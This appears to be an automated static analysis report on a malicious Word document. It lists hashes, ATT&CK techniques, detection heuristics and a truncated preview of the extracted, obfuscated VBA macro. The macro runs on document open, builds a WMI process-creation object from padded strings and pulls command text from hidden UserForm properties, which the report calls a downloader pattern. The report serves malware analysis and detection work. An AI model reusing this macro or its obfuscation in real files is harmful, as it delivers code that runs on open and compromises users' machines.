Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8540f9e3d6317804…

MALICIOUS

Office (OLE)

182.5 KB Created: 2020-08-21 07:39:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 9f9b428608ca9d100f8610c67b300f2a SHA-1: 0359ec3e1339f8fd18047521fc9d55cf396315fe SHA-256: 8540f9e3d63178045ff1fc4e7e43127dcef6b0e4d8f3eb7aada693742f86df44
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that utilizes CreateObject and a hidden UserForm to execute code. This pattern is indicative of a macro-based downloader attempting to fetch and execute a secondary payload. The ClamAV detection further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-9443669-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-9443669-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10227 bytes
SHA-256: d383429d962bb27731a93093930fc961ad62a3eb24e2cda219825e76b51aceec
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ycm4223oqj_vl4d1w"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Hghmzyepsli6a3.Ypcnalpp9vpx6
End Sub


Attribute VB_Name = "Hghmzyepsli6a3"
Attribute VB_Base = "0{8C7E6FF7-661B-4C28-99BC-CED339EF7F85}{3C25C5AD-A920-4276-AEF0-F00C1E4CEB10}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Ypcnalpp9vpx6()
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Qmxvv3snzif76 = Hghmzyepsli6a3.BorderStyle + 100
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Scb6nwfb58ke_m = ChrW(Qmxvv3snzif76 + (15))
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Xuhrp0dsq_6sfw = "15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]w15df qhs1g 2[s55da znb183b]i15df qhs1g 2[s55da znb183b]nm15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]gm15df qhs1g 2[s55da znb183b]t15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]" + Scb6nwfb58ke_m + "15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]:15df qhs1g 2[s55da znb183b]w15df qhs1g 2[s55da znb183b]in15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]315df qhs1g 2[s55da znb183b]215df qhs1g 2[s55da znb183b]_15df qhs1g 2[s55da znb183b]" + Hghmzyepsli6a3.Q4zutka9bqv3bw6i + "15df qhs1g 2[s55da znb183b]ro15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]ce15df qhs1g 2[s55da znb183b]s15df qhs1g 2[s55da znb183b]s15df qhs1g 2[s55da znb183b]"
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
M2tzfptw8xqt3k6m7 = Gotdhk51avo6ll(Xuhrp0dsq_6sfw)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Set Jebiqhlvu165du = CreateObject(M2tzfptw8xqt3k6m7)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Jfbwfyt3v29 = Hghmzyepsli6a3.Dia5vlg7utico.ControlTipText
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Gt6ob5jv4aho = Q89
... (truncated)

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